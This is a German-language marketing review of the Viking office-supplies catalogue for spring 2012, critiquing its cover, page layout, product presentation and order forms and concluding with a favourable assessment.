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Katalogcheck: Viking Hauptkatalog Frühjahr 2012

Katalogcheck: Viking Hauptkatalog Frühjahr 2012

Kurz vor Ostern bekam ich den neuen Viking Katalog mit über 630 Seiten auf den Tisch. Seit etwa einem Jahr hat Viking seine Ansprache und das Look and Feel seiner Kataloge drastisch geändert: weg vom Zugabe- einerlei, das sich nicht von Otto oder Staples differenzierte, hin zu emotionaler Ansprache für die Zielgruppe: Menschen im Büro. Da lohnt es sich, doch etwas genauer hinzuschauen.

Titelcheck
Der Titel wird ganzflächig von einem Imagebild eingenommen. Ein männliches Model steht in einer Art Loft- oder Großraum-Büro an einem Arbeitspult, mit einem Kalender aus 2011 (?!) in der Hand und schaut den Leser auffordernd an. Darüber groß der neue Viking-Schriftzug (Wiedererkennung) und daneben die Schlagzeile „Sie haben hohe Ansprüche? Das ist auch gut so!“. Eine indirekte Positionierung, die Viking da schaffen will: Viking als Lieferant für höchste Ansprüche, wenn es um Papier, Büro- und Schreibwaren geht. Kreativ, aber besser ist es, das direkter zu sagen. Nicht jeder versteht das auf Anhieb.

Man hat bei Viking aber nicht vergessen das gilt: „Wer auf dem Titel nicht verkauft hat zu viel Geld“ und so wird der Klassiker angeboten: Papier für € 2,49. inkl. Seitenverweis, aber direkt auf die Seite 499 im hinteren Drittel des Kataloges. Sind die vorderen Seiten so uninteressant, dass man direkt auf die letzten Seiten gelenkt wird? Besser wäre gewesen, dass Papier als Zweitplatzierung im Einstieg zu platzieren. Dort, wo der Kunde auch die neuen Vorteils- und Markenbotschaften findet.

Gut gemacht ist die Darstellung der Bestellwege unten auf der Titelseite. Hier wird typischerweise danach gesucht.
Ein Klapper am Titel enthält den Presidents Letter. Gar nicht schlecht geschrieben, aber ohne Absender, ohne Bild eines Mitarbeiters der schreibt, ohne Unterschrift, ohne PS, fast ohne Hervorhebungen von Worten zur Leserführung beim ersten Schnelllesen. Schade. Hier gehen Botschaften unter, hier wird die Möglichkeit versäumt, Viking „persönlich“ erfahrbar zu machen. Die Rückseite des Klappers ist dann wieder praktischerweise mit einem Kurzinhaltsverzeichnis versehen. Das liegt offen da, während man durch den Katalog blättert und hilft bei der Benutzung des Plankaufkataloges. Sehr gut. Ein Tipp: Ein Icon pro Kategorie würde das Inhaltsverzeichnis noch „schneller“ (erfassbar) machen. Reichelt electronic macht das bspw. sehr gut.

Einstiegscheck
U2 enthält eine Zweitplatzierung für eine ganze Kategorie (Essen & Trinken) und ist gestalterisch ähnlich aufgemacht wie der Titel: ein ganzflächiges Bild mit einer Alltagssituation an der Kaffeemaschine im Büro. Hier werden Mittel gegen „die Frühjahrsmüdigkeit“ versprochen, das Nutzenversprechen auf der Zieldoppelseite 374 (warum soll der Leser schon wieder so weit hinten im Katalog einsteigen?) ist dann aber ein ganz anderes: „Nachmittagstief“ statt „Frühjahrsmüdigkeit“. Das geht stimmiger.

Seite 3 verkauft Top-Produkte: Leitz Ordner und Toner. Bestseller und Frequenzartikel also, die hier gut platziert sind. Ein kleiner Tipp: Klinker für Preise und Zugaben sollten unterschiedlich gestaltet sein, und konsequenterweise ihr Aussehen im Katalog nicht wechseln. Das unterstützt das Verständnis der verschiedenen grafischen Elemente. Gut sind die Johnson-Boxen die das Finden von passenden Produkten (hier Toner) erleichtern und auch im Katalog gut als Info-Boxen eingesetzt werden. Sehr gut gemacht.

Doppelseite 4/5 widmet sich der Vorteilsargumentation, der Darstellung der Online-Bestellmöglichkeit, den Eigenmarken und  der Erklärung des Klinkers „go“ für umweltbewusste Produkte.  So lahm, wie ich das hier beschreibe , sieht es auch aus. Leider. Das geht deutlich besser. Da lohnt sich mal ein Blick in den Hubert-Katalog.
Umso besser macht man es auf der Folgedoppelseite: En Kundentestimonial, das man nicht besser machen könnte, es wird sogar das Unternehmen des Kunden vorgestellt. Dazu ein Inhaltsverzeichnis, das benutzerfreundlich, Bilder von Beispielprodukten zu jeder Kategorie enthält und übersichtlich ist, also schnell zum Ziel führt. Vorbildlich.

Streckencheck
Ein besonderes Lob auch für die Sortimentseinstiegsseiten: Die bereiten auf informative Weise auf die folgenden Seiten vor, zeigen bspw. anhand von kleinen Helferlein (Stehsammler bis Stifteköcher), wie man dem Chaos Herr wird und wer hier der „Boss“ im Büro und auf dem Schreibtisch ist.

Solide, wie man das von Viking gewohnt ist, sind die Sortimentsseiten. Übersichtlich, schnell erfassbar und eine gute Bild-Text-Zuordnung durch lockere Linien im sog. Ameisenpfad-Stil. Selbst bei höherer Produktdichte wirken die Seiten nicht überfrachtet.

Ein paar Kritikpunkte gibt es dann aber doch: Etwas weniger „Großer Preis am Produkt“ wäre gut, um wirkliche Preis-Highlights hervorzuheben. Hebt man alles hervor ist nichts hervorgehoben. Zu selten finden sich Verweise auf die Webseite und wenn, dann ohne Deeplink zum Sortiment oder Produkt. Und es fehlen eindeutige Heros. Welches Produkt will Viking denn verkaufen? Empfehlungen oder Highilighten durch schlichte Größe im Sammelsurium von Ordnern, Post-its und Papier führen den Kunden und kann die DBs pro Seite erhöhen, wenn die richtigen Produkte hervorgehoben werden.
Aber das war es auch schon an Kritik zur Strecke. Gut gemacht sind die Stopperseiten: farblich hervorgehoben werden Frequenzartikel mit nutzenversprechenden Head- und Inlines zu attraktiven Preisen gezeigt.
Und Querverweise innerhalb des Kataloges sind auffallend integriert. Schön.

Ausstiegscheck
Auch der Katalogausstieg ist solide und benutzerfreundlich. Das Stichwortverzeichnis könnte aufgepeppt werden (@Viking: schauen Sie dazu mal beim B+B Versand rein oder in den Rajapak-Katalog). Hier ist dann auch die Doppelseite zur Vorteilsargumentation für den Online-Shop gut gelungen. Ein vorbildliches Kundentestimonial, eine sehr gute Freundschaftswerbung (KwK) inklusive Freundschaftswerbe-Bestellkarte und eine abschließende Vorteilargumentation runden den Ausstieg ab. Ein kleiner Tipp: Eine Seite „So bestellen Sie bei Viking“ einzubauen wäre sicher hilfreicher als die Vorteile zwei Mal zu platzieren (Seite 623 und auf der Rückseite der KwK-Bestellkarte)

U3 ist mit Frequenzartikeln (günstiges Papier und Toilettenpapier-> Frequenzartikel ) sowie mit einem Farblaserdrucker zum Knaller-Preis von 99 Euro gut genutzt. Nicht ganz so sicher bin ich mir beim Rücktitel: Ordner und Eine Latte von Tonern sind deutlich zu viel. Dafür fehlen die Bestellwege. Nicht schön.

Bestellwesen-Check
Vorbildlich auch das Bestellwesen: Die Bestellfaxe sind vorpersonalisiert, übersichtlich und benutzerfreundlich. Da bleiben keine Fragen offen und die Bestellnummern können einfach und ohne großes Nachdenken von den Produktseiten übernommen und eingetragen werden. Ein Bestellformular ist als Klapper an U4 angebracht und lässt sich, einmal aufgeschlagen, während des Blätterns durch den Katalog schön ausfüllen. Ein Blick lohnt sich auch auf die Kombi-Lösung für die Abfrage der Kreditkarteninfos und Kontonummern zur Zahlung.

Orderstarter wurden integriert, die passend eine Produktplatzierung auf dem Bestellfax bekommen haben. Der Hinweis „Bitte kopieren  Sie vor dem Ausfüllen das Bestellformular“ ist übrigens Gold wert, denn 1. Funktioniert die Perforation am Formular auf S. 627 nicht so richtig gut und 2. wurden die Scheren als Hinweis auf die Perfo oben und unten an der gedruckten Perfo-Linie vergessen. Katalogmarketing ist Detailmarketing.

Fazit:
Insgesamt ein sehr guter und solider Katalog, der garantiert gut funktioniert. Und insbesondere der richtige aber auch mutige Schritt weg von Zugaben, Actiongettern und Austauschbarkeit im Wettbewerbsvergleich hin zu mehr Emotionalität und Differenzierung in der Grundansprache ist sehr lobenswert und sicher nachhaltig erfolgreich.

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